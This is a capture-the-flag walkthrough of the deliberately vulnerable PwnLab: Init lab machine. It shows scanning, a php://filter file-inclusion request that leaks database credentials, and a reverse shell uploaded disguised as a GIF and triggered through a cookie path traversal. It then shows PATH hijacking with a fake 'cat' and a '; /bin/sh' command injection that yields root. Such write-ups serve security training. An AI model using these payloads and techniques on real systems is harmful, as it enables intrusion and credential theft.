

# PWNLAB: INIT

Today, we'll be looking at the PwnLab machine on vulnhub.

You can download the machine here:

<https://www.vulnhub.com/entry/pwnlab-init,158//>

Let's scan the machine with nmap.

```
(root@kali)-[~]
# nmap -A -sV 192.168.246.130
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-23 18:50 EET
Nmap scan report for 192.168.246.130
Host is up (0.000089s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-title: PwnLab Intranet Image Hosting
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000   2,3,4      111/tcp     rpcbind
|   100000   2,3,4      111/udp     rpcbind
|   100000   3,4        111/tcp6    rpcbind
|   100000   3,4        111/udp6    rpcbind
|   100024   1          37548/tcp   status
|   100024   1          40195/udp   status
|   100024   1          58511/tcp6  status
|   100024   1          59130/udp6  status
3306/tcp  open  mysql    MySQL 5.5.47-0+deb8u1
| mysql-info:
|   Protocol: 10
|   Version: 5.5.47-0+deb8u1
|   Thread ID: 59
|   Capabilities flags: 63487
|   Some Capabilities: LongColumnFlag, ConnectWithDatabase, DontAllowDatabaseTableColumn, SupportsLoad
|   ODBCClient, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, Support41Auth, SupportsAuthPlugins, Su
|   Status: Autocommit
|   Salt: =[28eM0GTQz2)u3?!6;5
|_ Auth Plugin Name: mysql_native_password
MAC Address: 08:00:27:D8:BA:55 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT      ADDRESS
1   0.09 ms  192.168.246.130

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.06 seconds
```

We can see that it's running **http**, **rpcbind** and **mysql**.

Browsing the machine at port 80 we can see that we have three pages.

We need to be logged in to upload.

Let's perform a nikto scan.

```
(root@kali)-[~]
# nikto -h 192.168.246.130
- Nikto v2.5.0

+ Target IP: 192.168.246.130
+ Target Hostname: 192.168.246.130
+ Target Port: 80
+ Start Time: 2023-03-23 18:50:55 (GMT2)

+ Server: Apache/2.4.10 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a way that is not intended. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The vulnerability is only present if the Location header returns the internal IP. See: https://www.wisecoders.com/2012/01/01/apache-images-vulnerability/
+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /login.php: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie
+ /config.php: PHP Config file may contain database IDs and passwords.
+ /images/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /login.php: Admin login page/section found.
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8102 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time: 2023-03-23 18:51:00 (GMT2) (5 seconds)

+ 1 host(s) tested
```

If we try to navigate to config file to view it's contents, we won't see anything.

After some research, I found this LFI method here:

<https://diablohorn.com/2010/01/16/interesting-local-file-inclusion-method/>

You can also find it here: <https://book.hacktricks.xyz/pentesting-web/file-inclusion/>

Applying that and capturing the request with burp suite, we can see the following.

```
GET /?page=
php://filter/convert.base64-encode/resource=in.php
HTTP/1.1
Host: 192.168.246.130
```

Let's change the **in.php** to **config** to view the config file.

```
GET /?page=
php://filter/convert.base64-encode/resource=config
sHTTP/1.1
Host: 192.168.246.130
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0)
Gecko/20100101 Firefox/102.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```

```
1 HTTP/1.1 200 OK
2 Date: Thu, 23 Mar 2023 18:56:35 GMT
3 Server: Apache/2.4.10 (Debian)
4 Vary: Accept-Encoding
5 Content-Length: 405
6 Connection: close
7 Content-Type: text/html; charset=UTF-8
8
9 <html>
10 <head>
11 <title>
    PwnLab Intranet Image Hosting
  </title>
12 </head>
13 <body>
14 <center>
15 
16 <br />
    [ <a href="/">
      Home
    </a>
    ] [ <a href="?page=login">
      Login
    </a>
    ] [ <a href="?page=upload">
      Upload
    </a>
    ]
17 <hr/>
18 <br/>
    PD9waHANCiRzZXJ2ZXIJC9ICJsb2NhbgHvc3QiOw0KJHVzZXJ
    uYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRS19IOT
    kiOw0KJGRhdGFvYXNlID0gIlVzZXJzIjsNCj8+
  </center>
19 </body>
20 </html>
```

Looks like we have some **base64** encoded text.  
Let's decode that.

```
<?php
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>
```

Let's try and log in to mysql with these credentials.  
We got in!

Let's check the databases in there.

```

MySQL [Users]> show databases;
+-----+
| Database |
+-----+
| information_schema |
| Users |
+-----+
2 rows in set (0.001 sec)

MySQL [Users]> use Users;
Database changed
MySQL [Users]> show tables;
+-----+
| Tables_in_Users |
+-----+
| users |
+-----+
1 row in set (0.001 sec)

MySQL [Users]> select * from users;
+-----+-----+
| user | pass |
+-----+-----+
| kent | Sld6WHVCSkp0eQ= |
| mike | U0lmZHNURW42SQ= |
| kane | aVN2NVltMkdSbw= |
+-----+-----+
3 rows in set (0.000 sec)

MySQL [Users]>

```

We found three usernames and their passwords.

Let's decode the passwords

```

| kent | Sld6WHVCSkp0eQ= | → JWzXuBJJNy
| mike | U0lmZHNURW42SQ= | → SIldsTEn6I
| kane | aVN2NVltMkdSbw= | → iSv5Ym2GRo

```

It worked!

Now we can upload a reverse shell.

And looks like it only accepts images.

Let's add the gif header to the top and change the file extension to png.

GIF header: **GIF87a**



```
GIF87a
<?php
// port bookmarks
// Kali Linux
// Kali Tools
// Kali Docs
// Kali
// php-reverse-shell - A Reverse Shell implementa
// Copyright (C) 2007 pentestmonkey@pentestmonkey
//
// This tool may be used for legal purposes only.
// for any actions performed using this tool. Th
// for damage caused by this tool. If these term
```

If we use the command **file** on the shell we can see it's shown as a gif file.

```
(root@kali)-[/home]
# file shell.png
shell.png: GIF image data, version 87a, 15370 x 28735
```

If we navigate to the upload folder we can see out shell is uploaded.

## Index of /upload

<a href="#">Name</a>	<a href="#">Last modified</a>	<a href="#">Size</a>	<a href="#">Description</a>
 <a href="#">Parent Directory</a>		-	
 <a href="#">00bf23e130fa1e525e332ff03dae345d.png</a>	2023-03-23 15:24	5.4K	

*Apache/2.4.10 (Debian) Server at 192.168.246.130 Port 80*

But if we try to execute it we will get an error.

After some research, I found that we can replace the cookie with our shell in order to execute it.

```
Connection: close
Cookie: PHPSESSID=im1omr7o4rinv05samhq45u6vf1
Upgrade-Insecure-Requests: 1
```

Replace the cookie with "**lang=../upload/image\_name**"

Forward that...

And we got a shell!

```
(root@kali)-[/home]
# nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.246.1] from (UNKNOWN) [192.168.246.130]:58529
Linux pwnlab 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt20-1+deb8u4 (2016-02-29) i686
15:33:01 up 1:20, 0 users, load average: 0.00, 0.01, 0.02
USER      TTY      FROM            LOGIN@   IDLE   JCPU   PCPU   WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
```

I switched user to kent but didn't find anything useful.

So, I switched user to kane.

In the home folder of kane, I found this executable file.

```
kane@pwnlab:~$ ls
ls
msgmike
kane@pwnlab:~$
```

Let's perform strings on it.

We can see that it uses the command cat.

We can make the cat command execute a bash shell.

But first, we need to cd into tmp.

We also need to modify the path variable to be able to execute our cat command.

```
kane@pwnlab:/tmp$ echo bin/bash >> cat
echo bin/bash >> cat
kane@pwnlab:/tmp$ chmod 777 cat
chmod 777 cat
kane@pwnlab:/tmp$ ls
ls
00bf23e130fa1e525e332ff03dae345d.png  cat  msgmike
kane@pwnlab:/tmp$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
kane@pwnlab:/tmp$
```

Executing that, we became mike.

```
kane@pwnlab:/tmp$ cd
cd
kane@pwnlab:~$ ls
ls
msgmike
kane@pwnlab:~$ ./msgmike
./msgmike
mike@pwnlab:~$
mike@pwnlab:~$
```

In mike's home directory, we found an executable file called **msg2root**.

As expected, this file is vulnerable to command injection.

Let's use that to get a root shell.

Trying to open a bash shell won't work.

```
mike@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: hello ; /bin/bash
hello ; /bin/bash
hello
bash-4.3$ whoami
whoami
mike
bash-4.3$
```

So let's try sh instead.

And it worked.

```
mike@pwnlab:/home/mike$ ls
ls
msg2root
mike@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: hello ; /bin/sh
hello ; /bin/sh
hello
# whoami
whoami
root
#
```

We are now root.

**Note:** you need to remove the cat command we created earlier to be able to use the normal cat command and view the flag.

```
# rm /tmp/cat
rm /tmp/cat
# cat /root/flag.txt
cat /root/flag.txt
```

```

shells
Google
pics
If you are reading this, means that you have break 'init'
Pwnlab. I hope you enjoyed and thanks for your time doing
this challenge.
Please send me your feedback or your writeup, I will love
reading it
For sniferl4bs.com
claor@PwnLab.net - @Chronicoder
#
```